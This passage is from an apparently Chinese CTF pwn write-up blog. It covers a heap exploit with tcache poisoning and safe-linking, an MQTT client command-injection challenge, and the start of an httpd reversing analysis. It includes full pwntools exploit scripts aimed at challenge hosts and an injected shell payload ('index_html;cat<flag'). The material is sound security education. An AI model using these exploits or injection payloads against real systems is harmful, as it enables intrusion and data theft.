elf = ELF(file)
libc = ELF('./libc.so.6')

libcoffsetdict = dict()
libcrealdict = dict()

def libcdict_add(name, addr):
 if addr > 0x1000000:
 libcrealdict[name] = addr
 addr %= 0x1000
 libcoffsetdict[name] = addr

def getlibc():
 global libc
 if not debug:
 libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))

def initlibc():
 if not debug:
 subprocess.run(['cp', libc.path, './libc.so.6'])
 subprocess.run(['pwninit', '--no-template'])

target = '60.205.163.215'from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './inference_forge_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def safe_linking(pos, val):
 return (pos >> 12) ^ val

def bootstrap_scheduler():
 sla(b'gateway> ', b'3')

def inspect_scheduler_queue():
 sla(b'gateway> ', b'4')

def allocate_session_tensor(slot, tensor_bytes, alias):
 sla(b'gateway> ', b'5')
 sla(b'session.slot(0-15)> ', str(slot).encode())
 sla(b'session.tensor_bytes> ', str(tensor_bytes).encode())
 sla(b'session.alias> ', alias)

def complete_batch_inference(slot):
 sla(b'gateway> ', b'6')
 sla(b'session.slot> ', str(slot).encode())

def patch_session_metadata(slot, qword_index, qword_value):
 sla(b'gateway> ', b'7')
 sla(b'diag.session.slot> ', str(slot).encode())
 sla(b'diag.qword_index> ', str(qword_index).encode())
 sla(b'diag.qword_value(u64)> ', str(qword_value).encode())

def provision_worker_profile(cpu_quota, mem_quota, io_weight, latency_slo, replicas, region_code, memo):
 sla(b'gateway> ', b'8')
 sla(b'worker.cpu_quota> ', str(cpu_quota).encode())
 sla(b'worker.mem_quota> ', str(mem_quota).encode())
 sla(b'worker.io_weight> ', str(io_weight).encode())
 sla(b'worker.latency_slo> ', str(latency_slo).encode())
 sla(b'worker.replicas> ', str(replicas).encode())
 sla(b'worker.region_code> ', str(region_code).encode())
 sla(b'worker.memo> ', memo)

def dispatch_async_task(task_id):
 sla(b'gateway> ', b'9')
 sla(b'queue.task_id> ', str(task_id).encode())

bootstrap_scheduler() # leak
inspect_scheduler_queue()
ru(b'[task:0] desc=')
heap_leak = int(r(14), 16) - 0x30560
leak('heap_leak')
ru(b'handler=')
pie_leak = int(r(14), 16) - 0x30a0
leak('pie_leak')

allocate_session_tensor(0, 3, p64(0)) # init
allocate_session_tensor(1, 3, p64(0))
allocate_session_tensor(2, 3, p64(0))
allocate_session_tensor(3, 3, p64(0))
allocate_session_tensor(4, 3, p64(0))
complete_batch_inference(1)
complete_batch_inference(2)
complete_batch_inference(3)
complete_batch_inference(4)

complete_batch_inference(0) # tcache poisoning, hijack strict_policy
patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0))
allocate_session_tensor(0, 3, p64(0))
provision_worker_profile(heap_leak + 0x30510, 0, 0, 0, 0, 0, p64(0))
provision_worker_profile(0, 0, 0, 0, 0, 0, p64(0))
inspect_scheduler_queue()

complete_batch_inference(0) # tcache poisoning, hijack handler
patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0))
allocate_session_tensor(0, 3, p64(0))
provision_worker_profile(heap_leak + 0x30560, 0, 0, 0, 0, 0, p64(0))
provision_worker_profile(0, 0, 0, pie_leak + 0x6750, 0, 0, p64(0))
inspect_scheduler_queue()

dispatch_async_task(0)
itr()

mini-mqtt

第一次写 mqtt 的题目

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


int __fastcall main(int argc, const char **argv, const char **envp)
{
 const char *mqtt_ip; // rax
 const char *v5; // [rsp+18h] [rbp-8h]

 if ( argc <= 1 )
 mqtt_ip = "tcp://localhost:9999";
 else
 mqtt_ip = argv[1];
 v5 = mqtt_ip;
 printf("Using server at %s\n", mqtt_ip);
 rc = MQTTClient_create(&client, v5, "httpclient", 1, 0);
 if ( rc )
 {
 printf("Failed to create client, return code %d\n", rc);
 rc = 1;
 }
 else
 {
 rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);
 if ( rc )
 {
 printf("Failed to set callbacks, return code %d\n", rc);
 rc = 1;
 }
 else
 {
 dword_5028 = 20;
 dword_502C = 1;
 rc = MQTTClient_connect(client, conn_opts);
 if ( !rc )
 {
 MQTTClient_subscribe(client, "HTTP", 1);
 while ( 1 )
 {
 sleep(1u);
 msgsend("200");
 puts("waiting for message\n");
 }
 }
 printf("Failed to connect, return code %d\n", rc);
 rc = 1;
 }
 MQTTClient_destroy(&client);
 }
 return rc;
}

这是一个客户端程序，服务端呢？自己搭。

该客户端订阅了 “HTTP” topic

核心在 rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);

其中 msgarrvd 函数是客户端收到 topic 后的响应

msgarrvd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


__int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4)
{
 __int64 v5; // [rsp+0h] [rbp-80h] BYREF
 int v6; // [rsp+Ch] [rbp-74h]
 const char *v7; // [rsp+10h] [rbp-70h]
 __int64 v8; // [rsp+18h] [rbp-68h]
 __int64 v9; // [rsp+28h] [rbp-58h]
 char s1[72]; // [rsp+30h] [rbp-50h] BYREF
 unsigned __int64 v11; // [rsp+78h] [rbp-8h]

 v8 = a1;
 v7 = a2;
 v6 = a3;
 v5 = a4;
 v11 = __readfsqword(0x28u);
 v9 = *(_QWORD *)(a4 + 16);
 if ( (unsigned int)__isoc99_sscanf(v9, "{\"clientid\":\"%63[^\"]\",", s1) == 1 && !strcmp(s1, "httpclient") )// {"clientid":"hacker"}
 {
 MQTTClient_freeMessage(&v5);
 MQTTClient_free(v7);
 return 1;
 }
 else
 {
 http(v9);
 puts("Message arrived");
 printf(" topic: %s\n", v7);
 printf(" message: %.*s\n", *(_DWORD *)(v5 + 8), *(const char **)(v5 + 16));
 MQTTClient_freeMessage(&v5);
 MQTTClient_free(v7);
 return 1;
 }
}

由此可见，这道题目需要我们去构造恶意 topic 信息，让客户端在解析信息的过程中回弹 flag 的内容

这里还要求 clientid 不为 httpclient ，因为这是他自身的 id

然后就套了一层 http 的解析

http

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250


__int64 __fastcall http(const char *a1)
{
 size_t v2; // rax
 size_t v3; // rbx
 int v4; // [rsp+10h] [rbp-280h] BYREF
 int v5; // [rsp+14h] [rbp-27Ch]
 int i; // [rsp+18h] [rbp-278h]
 int v7; // [rsp+1Ch] [rbp-274h]
 FILE *stream; // [rsp+20h] [rbp-270h]
 char *v9; // [rsp+28h] [rbp-268h]
 char s1[8]; // [rsp+30h] [rbp-260h] BYREF
 __int64 v11; // [rsp+38h] [rbp-258h]
 __int64 v12; // [rsp+40h] [rbp-250h]
 __int64 v13; // [rsp+48h] [rbp-248h]
 __int64 v14; // [rsp+50h] [rbp-240h]
 __int64 v15; // [rsp+58h] [rbp-238h]
 __int64 v16; // [rsp+60h] [rbp-230h]
 __int64 v17; // [rsp+68h] [rbp-228h]
 char s[8]; // [rsp+70h] [rbp-220h] BYREF
 __int64 v19; // [rsp+78h] [rbp-218h]
 __int64 v20; // [rsp+80h] [rbp-210h]
 __int64 v21; // [rsp+88h] [rbp-208h]
 __int64 v22; // [rsp+90h] [rbp-200h]
 __int64 v23; // [rsp+98h] [rbp-1F8h]
 __int64 v24; // [rsp+A0h] [rbp-1F0h]
 __int64 v25; // [rsp+A8h] [rbp-1E8h]
 __int64 v26; // [rsp+B0h] [rbp-1E0h]
 __int64 v27; // [rsp+B8h] [rbp-1D8h]
 __int64 v28; // [rsp+C0h] [rbp-1D0h]
 __int64 v29; // [rsp+C8h] [rbp-1C8h]
 __int64 v30; // [rsp+D0h] [rbp-1C0h]
 __int64 v31; // [rsp+D8h] [rbp-1B8h]
 __int64 v32; // [rsp+E0h] [rbp-1B0h]
 __int64 v33; // [rsp+E8h] [rbp-1A8h]
 char src[8]; // [rsp+F0h] [rbp-1A0h] BYREF
 __int64 v35; // [rsp+F8h] [rbp-198h]
 __int64 v36; // [rsp+100h] [rbp-190h]
 __int64 v37; // [rsp+108h] [rbp-188h]
 __int64 v38; // [rsp+110h] [rbp-180h]
 __int64 v39; // [rsp+118h] [rbp-178h]
 __int64 v40; // [rsp+120h] [rbp-170h]
 __int64 v41; // [rsp+128h] [rbp-168h]
 __int64 v42; // [rsp+130h] [rbp-160h]
 __int64 v43; // [rsp+138h] [rbp-158h]
 __int64 v44; // [rsp+140h] [rbp-150h]
 __int64 v45; // [rsp+148h] [rbp-148h]
 __int64 v46; // [rsp+150h] [rbp-140h]
 __int64 v47; // [rsp+158h] [rbp-138h]
 __int64 v48; // [rsp+160h] [rbp-130h]
 __int64 v49; // [rsp+168h] [rbp-128h]
 char v50[8]; // [rsp+170h] [rbp-120h] BYREF
 __int64 v51; // [rsp+178h] [rbp-118h]
 __int64 v52; // [rsp+180h] [rbp-110h]
 __int64 v53; // [rsp+188h] [rbp-108h]
 __int64 v54; // [rsp+190h] [rbp-100h]
 __int64 v55; // [rsp+198h] [rbp-F8h]
 __int64 v56; // [rsp+1A0h] [rbp-F0h]
 __int64 v57; // [rsp+1A8h] [rbp-E8h]
 __int64 v58; // [rsp+1B0h] [rbp-E0h]
 __int64 v59; // [rsp+1B8h] [rbp-D8h]
 __int64 v60; // [rsp+1C0h] [rbp-D0h]
 __int64 v61; // [rsp+1C8h] [rbp-C8h]
 __int64 v62; // [rsp+1D0h] [rbp-C0h]
 __int64 v63; // [rsp+1D8h] [rbp-B8h]
 __int64 v64; // [rsp+1E0h] [rbp-B0h]
 __int64 v65; // [rsp+1E8h] [rbp-A8h]
 __int64 v66; // [rsp+1F0h] [rbp-A0h]
 __int64 v67; // [rsp+1F8h] [rbp-98h]
 __int64 v68; // [rsp+200h] [rbp-90h]
 __int64 v69; // [rsp+208h] [rbp-88h]
 __int64 v70; // [rsp+210h] [rbp-80h]
 __int64 v71; // [rsp+218h] [rbp-78h]
 __int64 v72; // [rsp+220h] [rbp-70h]
 __int64 v73; // [rsp+228h] [rbp-68h]
 __int64 v74; // [rsp+230h] [rbp-60h]
 __int64 v75; // [rsp+238h] [rbp-58h]
 __int64 v76; // [rsp+240h] [rbp-50h]
 __int64 v77; // [rsp+248h] [rbp-48h]
 __int64 v78; // [rsp+250h] [rbp-40h]
 __int64 v79; // [rsp+258h] [rbp-38h]
 __int64 v80; // [rsp+260h] [rbp-30h]
 __int64 v81; // [rsp+268h] [rbp-28h]
 unsigned __int64 v82; // [rsp+278h] [rbp-18h]

 v82 = __readfsqword(0x28u);
 *(_QWORD *)s1 = 0;
 v11 = 0;
 v12 = 0;
 v13 = 0;
 v14 = 0;
 v15 = 0;
 v16 = 0;
 v17 = 0;
 *(_QWORD *)s = 0;
 v19 = 0;
 v20 = 0;
 v21 = 0;
 v22 = 0;
 v23 = 0;
 v24 = 0;
 v25 = 0;
 *(_QWORD *)src = 0;
 v35 = 0;
 v36 = 0;
 v37 = 0;
 v38 = 0;
 v39 = 0;
 v40 = 0;
 v41 = 0;
 v42 = 0;
 v43 = 0;
 v44 = 0;
 v45 = 0;
 v46 = 0;
 v47 = 0;
 v48 = 0;
 v49 = 0;
 v26 = 0;
 v27 = 0;
 v28 = 0;
 v29 = 0;
 v30 = 0;
 v31 = 0;
 v32 = 0;
 v33 = 0;
 v5 = 0;
 v7 = 0;
 stream = 0;
 *(_QWORD *)v50 = 0;
 v51 = 0;
 v52 = 0;
 v53 = 0;
 v54 = 0;
 v55 = 0;
 v56 = 0;
 v57 = 0;
 v58 = 0;
 v59 = 0;
 v60 = 0;
 v61 = 0;
 v62 = 0;
 v63 = 0;
 v64 = 0;
 v65 = 0;
 v66 = 0;
 v67 = 0;
 v68 = 0;
 v69 = 0;
 v70 = 0;
 v71 = 0;
 v72 = 0;
 v73 = 0;
 v74 = 0;
 v75 = 0;
 v76 = 0;
 v77 = 0;
 v78 = 0;
 v79 = 0;
 v80 = 0;
 v81 = 0;
 v4 = 0;
 if ( (unsigned int)__isoc99_sscanf(a1, "{\"clientid\":\"%63[^\"]\"", s1) == 1 && !strcmp(s1, "httpclient") )// no httpclient
 return 1;
 if ( (unsigned int)__isoc99_sscanf(a1, "GET /home/ctf/%63[^ \"\r\n/]", s) == 1 )
 {
 v5 = 1;
 }
 else if ( (unsigned int)__isoc99_sscanf(a1, "GET %*[^/]/ctf/%63[^ \"\r\n/]", s) == 1 )
 {
 v5 = 1;
 }
 else if ( (unsigned int)__isoc99_sscanf(a1, "GET %*s/ctf/\"%63[^\"]\"", s) == 1 )
 {
 v5 = 1;
 }
 else if ( strstr(a1, "/ctf/") )
 {
 v9 = strstr(a1, "/ctf/") + 5;
 __isoc99_sscanf(v9, "%63[^ \"\r\n/]", s);
 v5 = 1;
 }
 if ( v5 )
 {
 if ( (unsigned int)__isoc99_sscanf(a1, "GET %*s HTTP/1.1\r\nHost: %*s\r\nContentLength: %d\r\n", &v4) == 1 )
 {
 printf("find length: %d\n", v4);
 v2 = strlen(s);
 if ( v2 > v4 )
 {
 puts("file name length exceeds contentlength");
 return 0;
 }
 if ( v4 > 10 )
 {
 puts("contentlength too long");
 return 0;
 }
 }
 else
 {
 puts("ContentLength not found");
 v5 = 0;
 }
 for ( i = 0; ; ++i )
 {
 v3 = i;
 if ( v3 >= strlen(s) )
 break;
 if ( s[i] == '/' || s[i] == '.' )
 s[i] = '_';
 }
 snprintf(src, 0x80u, "cat /home/ctf/%s", s);
 v7 = strlen(src);
 memcpy(cmd, src, v7);
 if ( !strcmp(s, "index_html") ) // is index_html
 {
 if ( v5 )
 stream = popen(cmd, "r");
 if ( stream )
 {
 while ( fgets(v50, 255, stream) )
 {
 v50[strcspn(v50, "\n")] = 0;
 if ( v50[0] )
 {
 msgsend(v50);
 memset(v50, 0, 0x100u);
 }
 }
 pclose(stream);
 }
 else
 {
 msgsend("403");
 }
 return 1;
 }
 else
 {
 puts("fault2");
 return 0;
 }
 }
 else
 {
 puts("fault");
 puts("404");
 return 0;
 }
}

协议的格式就是正常 http 协议的格式

注意这一段：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


 for ( i = 0; ; ++i )
 {
 v3 = i;
 if ( v3 >= strlen(s) )
 break;
 if ( s[i] == '/' || s[i] == '.' )
 s[i] = '_';
 }
 snprintf(src, 0x80u, "cat /home/ctf/%s", s);
 v7 = strlen(src);
 memcpy(cmd, src, v7);
 if ( !strcmp(s, "index_html") ) // is index_html
 {
 if ( v5 )
 stream = popen(cmd, "r");

src 中只能是 index_html 的格式，但发现校验的对象是 src ，而被执行的是 cmd ，且 cmd 在校验前已经赋值好，在校验失败后会残留，所以我们可以利用 shell 中 ‘;’ 的作用完成漏洞的利用

攻击思路

第一次发送 GET /home/ctf/index_html;cat<flag ， cmd 变为 cat /home/ctf/index_html;cat<flag ，校验不通过

第二次发送 GET /home/ctf/index_html ，前段被覆盖后 cmd 还是 cat /home/ctf/index_html;cat<flag ，且校验通过， popen 执行 cat /home/ctf/index_html;cat<flag ，成功获取到 flag

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


from pwn import *
import threading

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')
target = 'nc1.ctfplus.cn'
port = 41317


def encode_varint(n):
 res = b""
 while n > 0:
 byte = n & 0x7f
 n >>= 7
 if n > 0:
 byte |= 0x80
 res += bytes([byte])
 return res

def mqtt_connect(client_id=b"hacker"):
 payload = b"\x00\x04MQTT\x04\x02\x00\x3c" + struct.pack(">H", len(client_id)) + client_id
 return b"\x10" + encode_varint(len(payload)) + payload

def mqtt_publish(topic, msg, retain=True):
 flags = 0x31 if retain else 0x30
 payload = struct.pack(">H", len(topic)) + topic + msg
 return bytes([flags]) + encode_varint(len(payload)) + payload

def mqtt_subscribe(topic, pkt_id=1):
 payload = struct.pack(">H", pkt_id) + struct.pack(">H", len(topic)) + topic + b"\x00"
 return b"\x82" + encode_varint(len(payload)) + payload


if debug:
 p = remote('127.0.0.1', 9998)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

def peek(num=4096):
 message = p.recv(num)
 p.unrecv(message)
 return message

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
ur = lambda x :p.unrecv(x)
pk = lambda num=4096 :peek(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))

def attack():
 s(mqtt_connect())
 s(mqtt_subscribe(b'HTTP'))
 payload = b'GET /home/ctf/index_html;cat<flag'
 s(mqtt_publish(b'HTTP', payload))
 payload = b'GET /home/ctf/index_html HTTP/1.1\r\nHost: x\r\nContentLength: 10\r\n'
 s(mqtt_publish(b'HTTP', payload))
 itr()

attack()

httpd

第一次做 httpd

还是难在逆向，，，

checksec

1
2
3
4
5
6
7
8


[*] '/home/RatherHard/CTF-pwn/PolarisCTF/httpd/httpd'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: No PIE (0x400000)
 SHSTK: Enabled
 IBT: Enabled

好久没见过 no pie 的题目了

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73


void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
 int optval; // [rsp+Ch] [rbp-D4h] BYREF
 socklen_t addr_len; // [rsp+10h] [rbp-D0h] BYREF
 int fd; // [rsp+14h] [rbp-CCh]
 int v6; // [rsp+18h] [rbp-C8h]
 __pid_t v7; // [rsp+1Ch] [rbp-C4h]
 sockaddr addr; // [rsp+20h] [rbp-C0h] BYREF
 struct sockaddr v9; // [rsp+30h] [rbp-B0h] BYREF
 sigaction act; // [rsp+40h] [rbp-A0h] BYREF
 unsigned __int64 v11; // [rsp+D8h] [rbp-8h]

 v11 = __readfsqword(0x28u);
 optval = 1;
 fd = socket(2, 1, 0);
 if ( !fd )
 {
 perror("Socket failed");
 exit(1);
 }
 setsockopt(fd, 1, 2, &optval, 4u);
 addr.sa_family = 2;
 *(_DWORD *)&addr.sa_data[2] = 0;
 *(_WORD *)addr.sa_data = htons(0x270Fu);
 if ( bind(fd, &addr, 0x10u) < 0 )
 {
 perror("Bind failed");
 exit(1);
 }
 if ( listen(fd, 256) < 0 )
 {
 perror("Listen failed");
 exit(1);
 }
 act.sa_handler = (__sighandler_t)errormessage;
 sigemptyset(&act.sa_mask);
 act.sa_flags = 0;
 sigaction(11, &act, 0);
 sigaction(6, &act, 0);
 signal(17, (__sighandler_t)1);
 printf(format, 9999);
 init_admin_state();
 while ( 1 )
 {
 while ( 1 )
 {
 addr_len = 16;
 v6 = accept(fd, &v9, &addr_len);
 if ( v6 >= 0 )
 break;
 if ( *__errno_location() != 4 )
 perror("accept failed");
 }
 v7 = fork();
 if ( v7 >= 0 )
 {
 if ( !v7 )
 {
 close(fd);
 g_client_fd = v6;
 type_route(v6);
 close(v6);
 exit(0);
 }
 close(v6);
 }
 else
 {
 perror("fork failed");
 close(v6);
 }
 }
}

用 fork ，可以多次利用

type_route

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


// Top-level request dispatcher: allocate request_t, parse one request, then branch to GET or POST handlers based on req->method.
void __fastcall type_route(int fd)
{
 request_t *s; // [rsp+18h] [rbp-8h]

 s = (request_t *)malloc(0x2A78u);
 memset(s, 0, sizeof(request_t));
 parse_rq(fd, s);
 if ( !strcmp(s->method, "GET") )
 handle_get(fd, s);
 if ( !strcmp(s->method, "POST") )
 handle_post(fd, s);
 free(s);
}

先 parse_rq 解析请求再处理

struct

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


00000000 #pragma pack(push, 2)
00000000 struct http_header_t // sizeof=0x140
00000000 {
00000000 char name[64];
00000040 char value[256];
00000140 };
00000140 #pragma pack(pop)

00000000 #pragma pack(push, 2)
00000000 struct request_t // sizeof=0x2A78
00000000 {
00000000 char method[16];
00000010 char path[256];
00000110 char version[16];
00000120 int header_count;
00000124 http_header_t headers[32];
00002924 char cookie_key[64];
00002964 char cookie_value[256];
00002A64 int _pad;
00002A68 char *post_body;
00002A70 size_t content_length;
00002A78 };
00002A78 #pragma pack(pop)

00000000 #pragma pack(push, 2)
00000000 struct post_field_t // sizeof=0x2010
00000000 {
00000000 char key[4096];
00001000 size_t key_len;
00001008 char value[4096];
00002008 size_t value_len;
00002010 };
00002010 #pragma pack(pop)

00000000 #pragma pack(push, 2)
00000000 struct admin_info_t // sizeof=0x100
00000000 {
00000000 char username[32];
00000020 char password[32];
00000040 char token[64];
00000080 char route_name[32];
000000A0 char ip[32];
000000C0 char subnet_mask[32];
000000E0 char gateway[32];
00000100 };
00000100 #pragma pack(pop)

parse_rq

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


// Parse one HTTP request from the client socket into request_t. For POST, it copies the body once based on Content-Length.
unsigned __int64 __fastcall parse_rq(int fd, request_t *req)
{
 size_t v2; // rax
 char *haystack; // [rsp+10h] [rbp-1070h]
 char *nptr; // [rsp+18h] [rbp-1068h]
 char *end; // [rsp+28h] [rbp-1058h]
 char *begin; // [rsp+30h] [rbp-1050h]
 char *linend; // [rsp+30h] [rbp-1050h]
 char *tip; // [rsp+40h] [rbp-1040h]
 const char *s; // [rsp+50h] [rbp-1030h]
 char *eq; // [rsp+58h] [rbp-1028h]
 char *tkend; // [rsp+68h] [rbp-1018h]
 _QWORD buf[513]; // [rsp+70h] [rbp-1010h] BYREF
 unsigned __int64 v14; // [rsp+1078h] [rbp-8h]

 v14 = __readfsqword(0x28u);
 memset(buf, 0, 0x1000u);
 read(fd, buf, 0xFFFu);
 end = strstr((const char *)buf, "\r\n\r\n");
 begin = strstr((const char *)buf, "\r\n");
 *begin = 0;
 __isoc99_sscanf(buf, "%15s %255s %15s", req, req->path, req->version);// Head
 for ( haystack = begin + 2; haystack < end; haystack = linend + 2 )
 {
 linend = strstr(haystack, "\r\n");
 *linend = 0;
 tip = strchr(haystack, ':');
 if ( tip )
 {
 *tip = 0;
 for ( nptr = tip + 1; *nptr == ' '; ++nptr )
 ;
 if ( req->header_count <= 31 )
 {
 strncpy(req->headers[req->header_count].name, haystack, 0x3Fu);
 strncpy(req->headers[req->header_count].value, nptr, 0xFFu);
 ++req->header_count;
 }
 if ( !strcmp(haystack, "Content-Length") )
 req->content_length = atoi(nptr);
 if ( !strcmp(haystack, "Cookie") )
 {
 s = strstr(nptr, "token");
 if ( s )
 {
 eq = strchr(s, '=');
 *eq = 0;
 tkend = strchr(eq + 1, ';');
 if ( tkend )
 *tkend = 0;
 strncpy(req->cookie_key, s, 0x3Fu);
 strncpy(req->cookie_value, eq + 1, 0xFFu);
 }
 }
 }
 }
 if ( !strcmp(req->method, "POST") )
 {
 req->post_body = (char *)malloc(req->content_length + 3);
 v2 = malloc_usable_size(req->post_body);
 memset(req->post_body, 0, v2);
 memcpy(req->post_body, end + 4, req->content_length);
 memcpy(&req->post_body[req->content_length], "\r\n", 2u);
 }
 return v14 - __readfsqword(0x28u);
}

正常的解析请求

请求头会解析 Cookie 的 token 字段

handle_get

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201


// GET route handler. Uses an 8-byte stack buffer for the normalized path, serves a few fixed pages, and exposes an unauthenticated /getCookie route.
unsigned __int64 __fastcall handle_get(unsigned int fd, request_t *req)
{
 int v2; // eax
 int v3; // eax
 int v4; // eax
 int v5; // eax
 char s1[8]; // [rsp+10h] [rbp-210h] BYREF
 __int64 v8; // [rsp+18h] [rbp-208h]
 __int64 v9; // [rsp+20h] [rbp-200h]
 __int64 v10; // [rsp+28h] [rbp-1F8h]
 __int64 v11; // [rsp+30h] [rbp-1F0h]
 __int64 v12; // [rsp+38h] [rbp-1E8h]
 __int64 v13; // [rsp+40h] [rbp-1E0h]
 __int64 v14; // [rsp+48h] [rbp-1D8h]
 __int64 v15; // [rsp+50h] [rbp-1D0h]
 __int64 v16; // [rsp+58h] [rbp-1C8h]
 __int64 v17; // [rsp+60h] [rbp-1C0h]
 __int64 v18; // [rsp+68h] [rbp-1B8h]
 __int64 v19; // [rsp+70h] [rbp-1B0h]
 __int64 v20; // [rsp+78h] [rbp-1A8h]
 __int64 v21; // [rsp+80h] [rbp-1A0h]
 __int64 v22; // [rsp+88h] [rbp-198h]
 __int64 v23; // [rsp+90h] [rbp-190h]
 __int64 v24; // [rsp+98h] [rbp-188h]
 __int64 v25; // [rsp+A0h] [rbp-180h]
 __int64 v26; // [rsp+A8h] [rbp-178h]
 __int64 v27; // [rsp+B0h] [rbp-170h]
 __int64 v28; // [rsp+B8h] [rbp-168h]
 __int64 v29; // [rsp+C0h] [rbp-160h]
 __int64 v30; // [rsp+C8h] [rbp-158h]
 __int64 v31; // [rsp+D0h] [rbp-150h]
 __int64 v32; // [rsp+D8h] [rbp-148h]
 __int64 v33; // [rsp+E0h] [rbp-140h]
 __int64 v34; // [rsp+E8h] [rbp-138h]
 __int64 v35; // [rsp+F0h] [rbp-130h]
 __int64 v36; // [rsp+F8h] [rbp-128h]
 __int64 v37; // [rsp+100h] [rbp-120h]
 __int64 v38; // [rsp+108h] [rbp-118h]
 char s[8]; // [rsp+110h] [rbp-110h] BYREF
 __int64 v40; // [rsp+118h] [rbp-108h]
 __int64 v41; // [rsp+120h] [rbp-100h]
 __int64 v42; // [rsp+128h] [rbp-F8h]
